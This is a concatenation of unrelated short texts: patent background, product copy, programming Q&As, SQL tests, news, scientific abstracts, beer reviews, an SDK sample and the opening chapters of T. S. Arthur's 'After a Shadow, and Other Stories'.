As an example of the handling device, Japanese Utility Model Publication Nos. 54-1750 and 54-1751 disclose an apparatus having storing shelves arranged in a matrix and a container carrier movable in vertical and horizontal directions in front of said shelves for automatic storage and extraction of the containers into and from the shelves. The apparatus comprises a container holding member provided on said container carrier movably between the ends thereof in a direction to and away from said shelves and having a smaller dimension in said moving direction. The apparatus includes a pair of container guide members provided on said container carrier, on both sides of said container holding member, wherein said container holding member is provided with a housing of a height lower than the upper face of said container guide members and an engaging member mounted at the rear end of said housing in the movable direction thereof for engagement with the container. The engaging member is movable between a higher position and a lower position with respect to the upper face of said container guide members.
Also, Japanese Laid-open Patent Application No 61-206708 discloses a tray distributing apparatus comprising a tray storage unit, a transporter for storage or extraction of trays, and an elevator member, wherein said transporter comprises a hook member for supporting the tray and a chain for horizontally moving said hook member. |
Ka Pla! If you are a fierce and strong warrior with a reputation for decimation and victory, then you need a costume to show off your prowess! When you want to battle for the stars, you need the Boys Star Trek Klingon Costume! |
Q:
My calculator doesnt give response after warning
I am new ,trying to make calculator ,
here how it works:
when user click if screen is empty i want to screen to say "enter value"
PROBLEM is: after i did that i cant change the screen when i click any button
here is code:
const screen = document.querySelector(".output")
const btns = document.querySelectorAll(".btn")
const equal = document.querySelector(".equalize")
const clear = document.querySelector(".clear")
btns.forEach(item => {
item.addEventListener("click", function() {
let warning = document.querySelector(".warning")
let number = item.getAttribute("id")
if (screen.innerHTML === warning) {
screen.innerHTML = number
} else {
screen.innerHTML += number
}
console.log(screen.innerHTML)
})
})
clear.addEventListener("click", function() {
screen.innerHTML = ""
})
equal.addEventListener("click", () => {
if (screen.innerHTML === "" || screen.innerHTML === undefined ||
screen.innerHTML === null) {
screen.innerHTML = "<h5 class='warning mt-4'>Please Enter a Value</h5>"
} else {
screen.innerHTML = eval(screen.innerHTML)
}
})
<div class="container">
<div class="row">
<div class="col-md-4 mt-5 mx-auto">
<div class="output text-center display-3">
</div>
<div class=button>
<button class="number btn btn-primary text-light" id="1">1</button>
<button class="number btn " id="2">2</button>
<button class="number btn " id="3">3</button>
<button class="number btn " id="4">4</button>
<button class="number btn" id="5">5</button>
<button class="number btn" id="6">6</button>
<button class="number btn" id="7">7</button>
<button class="number btn " id="8">8</button>
<button class="number btn " id="9">9</button>
<button class="number btn " id="0">0</button>
<button class="plus btn " id="+">+</button>
<button class="minus btn " id="-">-</button>
<button class="divide btn " id="/">/</button>
<button class="equalize method " id="=">=</button>
<button class="clear method " id="C">C</button>
</div>
</div>
</div>
</div>
A:
screen.innerHTML === warning will never be true. screen.innerHTML is a string, while warning is a DOM element. You don't really need to compare with anything, just test if the warning element exists.
You also need to check whether a warning is showing when the user clicks the = button, otherwise you'll get an error when you try to evaluate it.
A better idea would probably be to display error messages in a separate DIV, rather than using the same DIV as the equation.
const screen = document.querySelector(".output")
const btns = document.querySelectorAll(".btn")
const equal = document.querySelector(".equalize")
const clear = document.querySelector(".clear")
btns.forEach(item => {
item.addEventListener("click", function() {
let warning = document.querySelector(".warning")
let number = item.getAttribute("id")
if (warning) {
screen.innerHTML = number
} else {
screen.innerHTML += number
}
console.log(screen.innerHTML)
})
})
clear.addEventListener("click", function() {
screen.innerHTML = ""
})
equal.addEventListener("click", () => {
let warning = document.querySelector(".warning")
if (warning) {
return;
}
if (screen.innerHTML.trim() === "") {
screen.innerHTML = "<h5 class='warning mt-4'>Please Enter a Value</h5>"
} else {
screen.innerHTML = eval(screen.innerHTML)
}
})
<div class="container">
<div class="row">
<div class="col-md-4 mt-5 mx-auto">
<div class="output text-center display-3"></div>
<div class=button>
<button class="number btn btn-primary text-light" id="1">1</button>
<button class="number btn" id="2">2</button>
<button class="number btn" id="3">3</button>
<button class="number btn" id="4">4</button>
<button class="number btn" id="5">5</button>
<button class="number btn" id="6">6</button>
<button class="number btn" id="7">7</button>
<button class="number btn" id="8">8</button>
<button class="number btn" id="9">9</button>
<button class="number btn" id="0">0</button>
<button class="plus btn" id="+">+</button>
<button class="minus btn" id="-">-</button>
<button class="divide btn " id="/">/</button>
<button class="equalize method " id="=">=</button>
<button class="clear method " id="C">C</button>
</div>
</div>
</div>
</div>
|
“Very nice, I added blueberries to mine as suggested. I must say I was surprised at how delicious they were and the ease of adding only a few ingredients to the dry mix made it so simple for time poor people like myself. I will be back to buy more!”
CONTAINS ALMOND, LUPIN AND MILK.May contain pieces of other nuts and sesame.
Made with love in Sydney, Australia from over 80% Australian ingredients.
Nutritional Info
Servings per package: 10
Serving size: 105 g (1 muffin)
per serve
per 100g of mix
Energy
736kJ
176Cal
1814kJ
380Cal
Protein, total
12.0g
29.3g
- gluten
0mg
0mg
Fat, total
10.1g
27.8g
- saturated
2.6g
7.5g
Carbohydrate
6.2g
9.9g
- sugars
4.2g
4.4g
Dietary Fibre
7.5g
18.1g
Sodium
263mg
661mg
^Nutritional values are based on using egg whites, unsweetened almond milk and frozen raspberries and are averages only – subject to seasonal variation. This product is gluten free when prepared as directed using other gluten free ingredients. #Compared to: Muffin, cakestyle, with fruit, commercial (NUTTAB 2010)
To make 10 Apple Berry Muffins, you will need:
PreparePreheat a fan forced oven to 170°C and place 10 cafe-style muffin cases in a muffin tray (or use a silicone tray).
MixEmpty contents of this pack into a large bowl. In a separate bowl, whisk together milk, eggs and diced apple. Pour this wet mix into the dry muffin mix and gently fold until just combined, then add the berries and fold through once more.
PortionUsing a spoon, portion mix into the 10 muffin cases. Decorate with berries if desired.
BakePlace on the top shelf of your preheated oven, and bake for 30-35 minutes. Rotate tray at halfway to ensure even baking. After baking remove tray from oven and place muffins on a cooling rack.
Storage
Muffins must be stored in the fridge (1-4°C) for up to 5 days, or can be frozen (-18°C) in freezer bags for up to 3 months. |
Vivo Launches 6G Research And Development Team In China News oi-Karan Sharma
While we are still talking about the 5G network and several countries are still imposing the 5G connectivity, Vivo has taken a step further; the company announced the launched of its 6G research and development team which will start preparing for the data explosion obstacles in the coming future. Meanwhile, the Indian telecom sector is yet to start the 5G trails. The announcement came from Vivo's headquarters situated in South China.
The head of Communications Research Institue, Qin Fei, stated that "Although the commercial use of 5G has just started, Vivo has already rolled out layouts for 6G, exploring the next-generation technology ahead of time." In simple words, the company has already started developing the next-generation network and the company will lay the foundation of 6G.
According to the reports, Vivo has formed a dedicated and specialized team which is going to be responsible for the early-stage development of the 6G network. The next-generation network will be demonstrated on the new technology. The team will also demonstrate the capability of the next-gen network in different scenarios. Vivo is already in talking terms with the networking industry.
Qin also mentioned that the 6G development team will also cooperate with domestic and foreign universities for their research to get better output. Vivo is one of the largest smartphone manufacturing brand across the globe. The company claims that it has 300 million users across the globe. The 6G research and development project will take time and it will only help in upcoming years. The report suggests that the 6G network will arrive somewhere in the second half of the decade.
Let's see how much time India will take to roll out the 5G network in the country and which telecom operator is going to roll out 5G network fist in the country.
Source
Best Mobiles in India |
Q:
Electrical Circuit with Fourier Transform
I'm working in my Electrical Circuits homeworks. One of the exercises says: "Use the Fourier Transform method to calculate \$v_0(t)\$"
The circuit is this:
where \$v_g=36sgn(t)\$, and \$sgn(t)\$ is the sign of \$t\$ (it returns 1, -1 or 0). Well, my problem is the following. I consulted my table of Fourier Transforms and I found that $$V_g(\omega)=36\cdot \dfrac{2}{j\omega}$$
However, I don't know how to calculate \$\omega\$. I need it in order to calculate the \$V_g\$ and also \$Z_C\$. I know that, if, for example \$v_g(t)=A\sin(kt)\$ then \$k=\omega\$. But in this case I'm completely lost.
How can I do it? Thanks in advance!
A:
However, I don't know how to calculate ω
There's no reason to calculate \$\omega\$. Your approach should be to find the frequency domain representation of the output voltage, \$V_o(j \omega)\$, and transform that back to the time domain.
In the frequency domain and by voltage division
$$V_o(j\omega) = V_g(j\omega)\dfrac{60k\Omega||\frac{1}{j\omega 2\mu F}}{12k\Omega + 60k\Omega||\frac{1}{j\omega 2\mu F}} $$
|
Translation to Brazilian Portuguese, cultural adaptation and psychometric properties of 8-item ArthritisSelf-Efficacy Scale (ASES-8).
Self-efficacy refers to one's belief in one's ability to organize, perform actions and face challenges in order to achieve goals and motivation. High self-efficacy improves disease coping and adherence to treatment among patients with rheumatoid arthritis. The objective of this study was to translate, culturally adapt and test the reproducibility of the 8-item Arthritis Self-Efficacy Scale (ASES-8) questionnaire for use in Brazil. Validation study conducted in university outpatient clinics. The questionnaire was translated into Brazilian Portuguese and then back-translated into English. The final version in Portuguese was tested on 30 patients with rheumatoid arthritis and was shown to be understandable and culturally adapted. A further 32 patients with rheumatoid arthritis were evaluated three times using the questionnaire. On the first occasion, two evaluators applied the questionnaire to check inter-evaluator reproducibility. After 15 days, one of the evaluators reassessed the patients to verify intra-evaluator reproducibility. At the first assessment, to test the construct validity of ASES-8, the Numerical Pain Scale, Health Assessment Questionnaire, Beck Depression Inventory and Short Form-36 questionnaire were also applied to all the patients. The inter and intra-evaluator correlation coefficients for ASES-8 were high. Cronbach's alpha was higher than 0.90 for the questionnaire, indicating excellent internal consistency. There were moderate correlations between ASES-8 and most of the instruments tested, indicating good construct validity. ASES-8 was translated and adapted to the Portuguese language for Brazil. This instrument is valid, reproducible and reliable for evaluating self-efficacy among patients with rheumatoid arthritis. |
SELECT '-1E9-1E9-1E9-1E9' AS x, toDecimal32(x, 0); -- { serverError 6 }
SELECT '-1E9' AS x, toDecimal32(x, 0); -- { serverError 69 }
SELECT '1E-9' AS x, toDecimal32(x, 0);
SELECT '1E-8' AS x, toDecimal32(x, 0);
SELECT '1E-7' AS x, toDecimal32(x, 0);
SELECT '1e-7' AS x, toDecimal32(x, 0);
SELECT '1E-9' AS x, toDecimal32(x, 9);
SELECT '1E-9' AS x, toDecimal32(x, 10); -- { serverError 69 }
SELECT '1E-10' AS x, toDecimal32(x, 10); -- { serverError 69 }
SELECT '1E-10' AS x, toDecimal32(x, 9);
|
Q:
React, show quantity of how many elements match after filtering
I have this input that filters through a state and shows only the elements that match after typing something, as an extra bonus I need to show the quantity of how many items match.
For example:
If I type "react" only the elements with the react word in it will be shown so the render should show something like this.
There are 2 enterprises that have what you need
My code:
const searchingFor = (term) => {
return (x) => {
return x.tecnologia.toLowerCase().includes(term.toLowerCase()) || !term;
}
}
class FilterClass extends React.Component {
constructor(props) {
super(props);
this.state = {
empresas: [
{
empresa: "Daniel",
tecnologia: "React",
clientes: ["sodimac", "ripley", "paris"],
experiencia: "5 años",
id: 1
},
{
empresa: "Juan",
tecnologia: "React",
clientes: ["Falabella", "ripley", "ikea"],
experiencia: "3 años",
id: 2
},
{
empresa: "David",
tecnologia: "Angular",
clientes: ["Falabella", "ripley", "ikea"],
experiencia: "3 años",
id: 2
},
{
empresa: "Carlos",
tecnologia: "Vue",
clientes: ["Copec", "Wallmark", "Unimark"],
experiencia: "6 años",
id: 3
}
],
term: ''
}
this.searchHandler = this.searchHandler.bind(this);
}
searchHandler(event) {
this.setState({ term: event.target.value })
}
render() {
const {term, empresas} = this.state;
return (
<div>
<form className="container--flex-center">
<input type="text" onChange={this.searchHandler} value={term} />
</form>
{empresas.filter(searchingFor(term)).map(item =>
<FilterComponent
empresa={item.empresa}
tecnologia={item.tecnologia}
clientes={item.clientes}
experiencia={item.experiencia}
key={item.id}
/>
)}
</div>
)
}
}
export default FilterClass;
A:
Well, I do not know where this bonus message should appear, so excuse me if it is not the correct answer.
Well I inserted the message just below the map and then put a filter in the matrix that returns the size as a condition to render the bonus message.
{empresas.filter(element => element.tecnologia === term).length > 0 &&
<div>
here are {empresas.filter(element => element.tecnologia === term).length} enterprises that have what you need
</div>
}
Result
render() {
const {term, empresas} = this.state;
return (
<div>
<form className="container--flex-center">
<input type="text" onChange={this.searchHandler} value={term} />
</form>
{empresas.filter(element => element.tecnologia === term).map(item =>
<FilterComponent
empresa={item.empresa}
tecnologia={item.tecnologia}
clientes={item.clientes}
experiencia={item.experiencia}
key={item.id}
/>
)}
{empresas.filter(element => element.tecnologia === term).length > 0 &&
<div>There are {empresas.filter(element => element.tecnologia === term).length} enterprises that have what you need</div>
}
</div>
)
}
|
An amazing package; on cask at the Bulls Head this date. This is the way to drink beer. The considerable heft is tucked away; as if with alcohol spanks, so forgiving. Such a delicious nose and the taste flavors round it out. This is an outstanding beer, served in the best possible circumstances. (296 characters)
Pours a hazy orange-ish to yellow color with an off white head. In the aroma, big orange citrus hops. In the taste, dryer orange citrus hops. A small hop bite and a medium bodied mouthfeel, with a small dry orange citrus rind and hop in the aftertaste. Hides the 10% quite well, big orange citrus hops, quite enjoyable. (319 characters) |
// api_key 获取方式：登录 [Dashboard](https://dashboard.pingxx.com)->点击管理平台右上角公司名称->开发信息-> Secret Key
var API_KEY = 'sk_test_ibbTe5jLGCi5rzfH4OqPW9KC';
// 设置 api_key
var pingpp = require('../../lib/pingpp')(API_KEY);
var path = require('path');
pingpp.setPrivateKeyPath(path.join(__dirname, '../your_rsa_private_key.pem'));
/* 取消 */
pingpp.transfers.cancel(
'tr_uHWX58DanDOGCKOynHvPirfT',
function(err, transfer) {
if (err != null) {
console.log('pingpp.transfers.cancel failed: ', err);
} else {
console.log(transfer);
}
// YOUR CODE
}
);
|
[Dynamic flamingo therapy].
A long follow up study of one minute unipedal standing therapy 3 times in a day to prevent femoral neck osteoporosis that have started from 1993 was reported. The registration from July 1993 to March 2004 were 86 cases which measured the femoral neck bone mineral density (BMD) according to dual energy x-ray absorptiometry (DXA) (Hologic QDR 1000 and 2000) in a follow-up period. Average age at starting exercise was 67.9 years old. All cases were female who were registered in our university hospital. The result of unipedal exercise evaluated by the femoral neck BMD was described as follows : The increased cases of BMD were 15/24 (62.5%) post exercise 3 months, 15/37 (40.5%) post 6 months, and 12/21 (57.1%) post one year, 8/25 (32%) post 3 years, 7/13 (53.8%) post 5 years and 1/3 (33.3%) post 10 years. We have no fracture cases in which continued exercise in follow-up period. According to a randomized controlled study of unipedal standing balance therapy to clinically defined high-risk elderly individuals a therapy group reduced fall times by a significant difference than non-therapy group. We conclude that unipedal standing therapy is efficacious against femoral neck osteoporosis and fractures. |
Fabrication and physical-chemical characterisation of polyelectrolyte microparticles: platform for controlled release of bioactives.
Porous CaCO(3) microparticles were fabricated by colloidal crystallization. Two oppositely charged polyelectrolytes, poly (styrene sulfonate, PSS) and poly (allylamine hydrochloride, PAH) were adsorbed layer-by-layer on the CaCO(3) templates. Polyelectrolyte microcapsules were then obtained by removing the CaCO(3) core. Scanning electron microscopy (SEM), energy-dispersion X-ray analysis (EDX), laser diffraction particle sizing and Raman spectroscopy were employed to characterize the physico-chemical properties of the constructed microcapsules. In vitro drug release studies were conducted using the model water-soluble drug Rhodamine B. Factors such as the number of polyelectrolyte layers and pH were investigated. SEM micrographs revealed uniform CaCO(3) microparticles, nearly spherical in shape with pronounced surface roughness, and highly developed interior porous structure. The surface of polyelectrolyte coated particles became rougher than the initial CaCO(3) microparticles. The acquired SEM micrographs of the (PSS/PAH)(n) microcapsules indicated that the number of layers affected the morphology of the microcapsules. The (PSS/PAH)(3) microcapsules revealed a very porous network with many holes resembling the initial morphology of CaCO(3) microparticles. Raman spectra showed peaks at 1125 cm(-1) (S=O bond) and 1600 cm(-1) (aromatic ring stretching) which represented the PSS molecule. The thickness of each layer was about 10 to 20 nm and it can be tailored to such nanometer level by controlling the number of adsorbed layers. The in vitro release of Rhodamine B was dependent on both the number of wall bilayers as well as the pH of the release media. These systems provide an opportunity for the development of controlled release dosage forms with greater effectiveness in the treatment of chronic conditions. |
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It seems a long time ago now, but once airlines were not even seen as investable by a large portion of money managers. The businesses were highly capital intensive and deeply competitive, producing major swings in profitability – from modestly profitable in good times to deep losses in bad times. United and American airlines have both been in bankruptcy protection in the last twenty years.
Following the financial crisis, however, a new sense of discipline seemed to emerge in the industry and investors returned to the sector. Today, Delta carries a market cap of $43 billion; with American at $28 billion and United at $23 billion. Mergers in the last decade have shrunk capacity growth and instilled discipline to the industry.
Laying out its plans over the next several years after it announced earnings on January 23rd, United may have shattered some of the new found confidence in the United States’ airline industry. United said that it would expand its capacity, which could suggest a more competitive pricing environment between it and its two main competitors, Delta and American. United is targeting “mid-continental hubs” where it is relatively weaker to complement its strength in key international destinations – typically the largest airports. Prices tend to be higher outside the nation’s largest airports where competition is most intense.
United is now just the fourth largest airline in the United States, with about 14% of airfares, trailing Southwest, American, and Delta. It’s share of domestic flights, meanwhile, is only about 10%. According to United, revenue per available seat mile at the mid-market locations is about 10.5 cents versus less than 9 cents at the large airports where United is stronger in transporting international customers.
Fears of a more aggressive United leading to weaker pricing across the board has sent United shares down 5% in after-hours trading, while Delta is down 3.5% and American is down 4%.
Meanwhile, United’s earnings for the previous quarter were actually quite good. Revenue increased by 4% and EPS at $1.40 was $.06 higher than analyst estimates. |
Produced by Charles Aldarondo. HTML version by Al Haines.
AFTER A SHADOW, AND OTHER STORIES.
BY
T. S. ARTHUR.
NEW YORK:
1868
CONTENTS.
I. AFTER A SHADOW.
II. IN THE WAY OF TEMPTATION.
III. ANDY LOVELL.
IV. A MYSTERY EXPLAINED.
V. WHAT CAN I DO?
VI. ON GUARD.
VII. A VISIT WITH THE DOCTOR.
VIII. HADN'T TIME FOR TROUBLE.
IX. A GOOD NAME.
X. LITTLE LIZZIE.
XI. ALICE AND THE PIGEON.
XII. DRESSED FOR A PARTY.
XIII. COFFEE VS. BRANDY.
XIV. AMY'S QUESTION.
XV. AN ANGEL IN DISGUISE.
XVI. WHICH WAS MOST THE LADY?
XVII. OTHER PEOPLE'S EYES.
AFTER A SHADOW,
AND OTHER STORIES.
I.
AFTER A SHADOW.
"ARTY! Arty!" called Mrs. Mayflower, from the window, one bright
June morning. "Arty, darling! What is the child after? Just look at
him, Mr. Mayflower!"
I leaned from the window, in pleasant excitement, to see what new
and wonderful performance had been attempted by my little prodigy--my
first born--my year old bud of beauty, the folded leaves in whose
bosom were just beginning to loosen themselves, and send out upon
the air sweet intimations of an abounding fragrance. He had escaped
from his nurse, and was running off in the clear sunshine, the slant
rays of which threw a long shadow before him.
"Arty, darling!" His mother's voice flew along and past his ear,
kissing it in gentle remonstrance as it went by. But baby was in
eager pursuit of something, and the call, if heard, was unheeded.
His eyes were opening world-ward, and every new
phenomenon--commonplace and unheeded by us--that addressed itself to
his senses, became a wonder and a delight. Some new object was
drawing him away from the loving heart and protecting arm.
"Run after him, Mr. Mayflower!" said my wife, with a touch of
anxiety in her voice. "He might fall and hurt himself."
I did not require a second intimation as to my duty in the case.
Only a moment or two elapsed before I was on the pavement, and
making rapid approaches towards my truant boy.
"What is it, darling? What is Arty running after?" I said, as I laid
my hand on his arm, and checked his eager speed. He struggled a
moment, and then stood still, stooping forward for something on the
ground.
"O, papa see!" There was a disappointed and puzzled look in his face
as he lifted his eyes to mine. He failed to secure the object of his
pursuit.
"What is it, sweet?" My eyes followed his as they turned upon the
ground.
He stooped again, and caught at something; and again looked up in a
perplexed, half-wondering way.
"Why, Arty!" I exclaimed, catching him up in my arms. "It's only
your shadow! Foolish child!" And I ran back to Mrs. Mayflower, with
my baby-boy held close against my heart.
"After a shadow!" said I, shaking my head, a little soberly, as I
resigned Arty to his mother. "So life begins--and so it ends! Poor
Arty!"
Mrs. Mayflower laughed out right merrily.
"After a shadow! Why, darling!" And she kissed and hugged him in
overflowing tenderness.
"So life begins--so it ends," I repeated to myself, as I left the
house, and walked towards my store. "Always in pursuit of shadows!
We lose to-day's substantial good for shadowy phantoms that keep our
eyes ever in advance, and our feet ever hurrying forward. No
pause--no ease--no full enjoyment of _now_. O, deluded heart!--ever
bartering away substance for shadow!"
I grow philosophic sometimes. Thought will, now and then, take up a
passing incident, and extract the moral. But how little the wiser
are we for moralizing! we look into the mirror of truth, and see
ourselves--then turn away, and forget what manner of men we are.
Better for us if it were not so; if we remembered the image that
held our vision.
The shadow lesson was forgotten by the time I reached my store, and
thought entered into business with its usual ardor. I buried myself,
amid letters, invoices, accounts, samples, schemes for gain, and
calculations of profit. The regular, orderly progression of a fair
and well-established business was too slow for my outreaching
desires. I must drive onward at a higher speed, and reach the goal
of wealth by a quicker way. So my daily routine was disturbed by
impatient aspirations. Instead of entering, in a calm
self-possession of every faculty, into the day's appropriate work,
and finding, in its right performance, the tranquil state that ever
comes as the reward of right-doing in the right place, I spent the
larger part of this day in the perpetration of a plan for increasing
my gains beyond, anything heretofore achieved.
"Mr. Mayflower," said one of the clerks, coming back to where I sat
at my private desk, busy over my plan, "we have a new man in from
the West; a Mr. B----, from Alton. He wants to make a bill of a
thousand dollars. Do you know anything about him?"
Now, even this interruption annoyed me. What was a new customer and
a bill of a thousand dollars to me just at that moment of time? I
saw tens of thousands in prospective.
"Mr. B----, of Alton?" said I, affecting an effort of memory. "Does he
look like a fair man?"
"I don't recall him. Mr. B----? Hum-m-m. He impresses you favorably,
Edward?"
"Yes, sir; but it may be prudent to send and get a report."
"I'll see to that, Edward," said I. "Sell him what he wants. If
everything is not on the square, I'll give you the word in time.
It's all right, I've no doubt."
"He's made a bill at Kline & Co.'s, and wants his goods sent there
to be packed," said my clerk.
"Ah, indeed! Let him have what he wants, Edward. If Kline & Co. sell
him, we needn't hesitate."
And turning to my desk, my plans, and my calculations, I forgot all
about Mr. B----, and the trifling bill of a thousand dollars that he
proposed buying. How clear the way looked ahead! As thought created
the means of successful adventure, and I saw myself moving forward
and grasping results, the whole circle of life took a quicker
motion, and my mind rose into a pleasant enthusiasm. Then I grew
impatient for the initiatory steps that were to come, and felt as if
the to-morrow, in which they must be taken, would never appear. A
day seemed like a week or a month.
Six o'clock found me in not a very satisfactory state of mind. The
ardor of my calculations had commenced abating. Certain elements,
not seen and considered in the outset, were beginning to assume
shape and consequence, and to modify, in many essential particulars,
the grand result towards which I had been looking with so much
pleasure. Shadowy and indistinct became the landscape, which seemed
a little while before so fair and inviting. A cloud settled down
upon it here, and a cloud there, breaking up its unity, and
destroying much of its fair proportion. I was no longer mounting up,
and moving forwards on the light wing of a castle-building
imagination, but down upon the hard, rough ground, coming back into
the consciousness that all progression, to be sure, must be slow and
toilsome.
I had the afternoon paper in my hands, and was running my eyes up
and down the columns, not reading, but, in a half-absent way, trying
to find something of sufficient interest to claim attention, when,
among the money and business items, I came upon a paragraph that
sent the declining thermometer of my feelings away down towards the
chill of zero. It touched, in the most vital part, my scheme of
gain; and the shrinking bubble burst.
"Have the goods sold to that new customer from Alton been
delivered?" I asked, as the real interest of my wasted day loomed up
into sudden importance.
"Yes, sir," was answered by one of my clerks; "they were sent to
Kline & Co.'s immediately. Mr. B----said they were packing up his
goods, which were to be shipped to-day."
"He's a safe man, I should think. Kline & Co. sell him." My voice
betrayed the doubt that came stealing over me like a chilly air.
"They sell him only for cash," said my clerk. "I saw one of their
young men this afternoon, and asked after Mr. B----'s standing. He
didn't know anything about him; said B----was a new man, who bought a
moderate cash bill, but was sending in large quantities of goods to
be packed--five or six times beyond the amount of his purchases with
them."
"Is that so!" I exclaimed, rising to my feet, all awake now to the
real things which I had permitted a shadow to obscure.
"Just what he told me," answered my clerk.
"It has a bad look," said I. "How large a bill did he make with us?"
The sales book was referred to. "Seventeen hundred dollars," replied
the clerk.
"What! I thought he was to buy only to the amount of a thousand
dollars?" I returned, in surprise and dismay.
"You seemed so easy about him, sir," replied the clerk, "that I
encouraged him to buy; and the bill ran up more heavily than I was
aware until the footing gave exact figures."
I drew out my watch. It was close on to half past six.
"I think, Edward," said I, "that you'd better step round to Kline &
Co.'s, and ask if they've shipped B----'s goods yet. If not, we'll
request them to delay long enough in the morning to give us time to
sift the matter. If B----'s after a swindling game, we'll take a short
course, and save our goods."
"It's too late," answered my clerk. "B----called a little after one
o'clock, and gave notes for the amount of his bill. He was to leave
in the five o'clock line for Boston."
I turned my face a little aside, so that Edward might not see all
the anxiety that was pictured there.
"You look very sober, Mr. Mayflower," said my good wife, gazing at
me with eyes a little shaded by concern, as I sat with Arty's head
leaning against my bosom that evening; "as sober as baby looked this
morning, after his fruitless shadow chase."
"And for the same reason," said I, endeavoring to speak calmly and
firmly.
"Why, Mr. Mayflower!" Her face betrayed a rising anxiety. My assumed
calmness and firmness did not wholly disguise the troubled feelings
that lay, oppressively, about my heart.
"For the same reason," I repeated, steadying my voice, and trying to
speak bravely. "I have been chasing a shadow all day; a mere phantom
scheme of profit; and at night-fall I not only lose my shadow, but
find my feet far off from the right path, and bemired. I called Arty
a foolish child this morning. I laughed at his mistake. But, instead
of accepting the lesson it should have conveyed, I went forth and
wearied myself with shadow-hunting all day."
Mrs. Mayflower sighed gently. Her soft eyes drooped away from my
face, and rested for some moments on the floor.
"I am afraid we are all, more or less, in pursuit of shadows," she
said,--"of the unreal things, projected by thought on the canvas of a
too creative imagination. It is so with me; and I sigh, daily, over
some disappointment. Alas! if this were all. Too often both the
shadow-good and the real-good of to-day are lost. When night falls
our phantom good is dispersed, and we sigh for the real good we
might have enjoyed."
"Shall we never grow wiser?" I asked.
"We shall never grow happier unless we do," answered Mrs. Mayflower.
"Happiness!" I returned, as thought began to rise into clearer
perception; "is it not the shadow after which we are all chasing,
with such a blind and headlong speed?"
"Happiness is no shadow. It is a real thing," said Mrs. Mayflower.
"It does not project itself in advance of us; but exists in the
actual and the now, if it exists at all. We cannot catch it by
pursuit; that is only a cheating counterfeit, in guilt and tinsel,
which dazzles our eyes in the ever receding future. No; happiness is
a state of life; and it comes only to those who do each day's work
peaceful self-forgetfulness, and a calm trust in the Giver of all
good for the blessing that lies stored for each one prepared to
receive it in every hour of the coming time."
"Who so does each day's work in a peaceful self-forgetfulness and
patient trust in God?" I said, turning my eyes away from the now
tranquil face of Mrs. Mayflower.
"Few, if any, I fear," she answered; "and few, if any, are happy.
The common duties and common things of our to-days look so plain and
homely in their ungilded actualities, that we turn our thought and
interest away from them, and create ideal forms of use and beauty,
into which we can never enter with conscious life. We are always
losing the happiness of our to-days; and our to-morrows never come."
I sighed my response, and sat for a long time silent. When the tea
bell interrupted me from my reverie, Arty lay fast asleep on my
bosom. As I kissed him on his way to his mother's arms, I said,--
"Dear baby! may it be your first and last pursuit of a shadow."
"No--no! Not yet, my sweet one!" answered Mrs. Mayflower, hugging him
to her heart. "Not yet. We cannot spare you from our world of
shadows."
II.
IN THE WAY OF TEMPTATION.
MARTIN GREEN was a young man of good habits and a good conceit of
himself. He had listened, often and again, with as much patience as
he could assume, to warning and suggestion touching the dangers that
beset the feet of those who go out into this wicked world, and
become subject to its legion of temptations. All these warnings and
suggestions he considered as so many words wasted when offered to
himself.
"I'm in no danger," he would sometimes answer to relative or friend,
who ventured a remonstrance against certain associations, or
cautioned him about visiting certain places.
"If I wish to play a game of billiards, I will go to a billiard
saloon," was the firm position he assumed. "Is there any harm in
billiards? I can't help it if bad men play at billiards, and
congregate in billiard saloons. Bad men may be found anywhere and
everywhere; on the street, in stores, at all public places, even in
church. Shall I stay away from church because bad men are there?"
This last argument Martin Green considered unanswerable. Then he
would say,--
"If I want a plate of oysters, I'll go to a refectory, and I'll take
a glass of ale with my oysters, if it so pleases me. What harm, I
would like to know? Danger of getting into bad company, you say?
Hum-m! Complimentary to your humble servant! But I'm not the kind to
which dirt sticks."
So, confident of his own power to stand safely in the midst of
temptation, and ignorant of its thousand insidious approaches,
Martin Green, at the age of twenty-one, came and went as he pleased,
mingling with the evil and the good, and seeing life under
circumstances of great danger to the pure and innocent. But he felt
strong and safe, confident of neither stumbling nor falling. All
around him he saw young men yielding to the pressure of temptation
and stepping aside into evil ways; but they were weak and vicious,
while he stood firm-footed on the rock of virtue!
It happened, very naturally, as Green was a bright, social young
man, that he made acquaintances with other young men, who were
frequently met in billiard saloons, theatre lobbies, and eating
houses. Some of these he did not understand quite as well as he
imagined. The vicious, who have ends to gain, know how to cloak
themselves, and easily deceive persons of Green's character. Among
these acquaintances was a handsome, gentlemanly, affable young man,
named Bland, who gradually intruded himself into his confidence.
Bland never drank to excess, and never seemed inclined to sensual
indulgences. He had, moreover, a way of moralizing that completely
veiled his true quality from the not very penetrating Martin Green,
whose shrewdness and knowledge of character were far less acute than
he, in his self-conceit, imagined.
One evening, instead of going with his sister to the house of a
friend, where a select company of highly-intelligent ladies and
gentleman were to meet, and pass an evening together, Martin excused
himself under the pretence of an engagement, and lounged away to an
eating and drinking saloon, there to spend an hour in smoking,
reading the newspapers, and enjoying a glass of ale, the desire for
which was fast growing into a habit. Strong and safe as he imagined
himself, the very fact of preferring the atmosphere of a drinking or
billiard saloon to that in which refined and intellectual people
breathe, showed that he was weak and in danger.
He was sitting with a cigar in his mouth, and a glass of ale beside
him, reading with the air of a man who felt entirely satisfied with
himself, and rather proud than ashamed of his position and
surroundings, when his pleasant friend, Mr. Bland, crossed the room,
and, reaching out his hand, said, with his smiling, hearty manner,--
"How are you, my friend? What's the news to-day?" And he drew a
chair to the table, calling at the same time to a waiter for a glass
of ale.
"I never drink anything stronger than ale," he added, in a
confidential way, not waiting for Green to answer his first remark.
"Liquors are so drugged nowadays, that you never know what poison
you are taking; besides, tippling is a bad habit, and sets a
questionable example. We must, you know, have some regard to the
effect of our conduct on weaker people. Man is an imitative animal.
By the way, did you see Booth's Cardinal Wolsey?"
"Yes."
"A splendid piece of acting,--was it not? You remember, after the
cardinal's fall, that noble passage to which he gives utterance. It
has been running through my mind ever since:--"'Mark but my fall,
and that that ruined me.
Cromwell, I charge thee, fling away ambition:
By that sin fell the angels; how can man, then,
The image of his Maker, hope to win by't?
Love thyself last: Cherish those hearts that hate thee:
Corruption wins not more than honesty.
Still in thy right hand carry gentle peace,
To silence envious tongues; be just, and fear not.
Let all the ends thou aim'st at be thy country's,
Thy God's, and truth's; then if thou fall'st, O Cromwell,
Thou fall'st a blessed martyr.'
"'Love thyself last.--Let all the ends thou aim'st at be thy
country's, thy God's, and truth's.' Could a man's whole duty in life
be expressed in fewer words, or said more grandly? I think not."
And so he went on, charming the ears of Green, and inspiring him
with the belief that he was a person of the purest instincts and
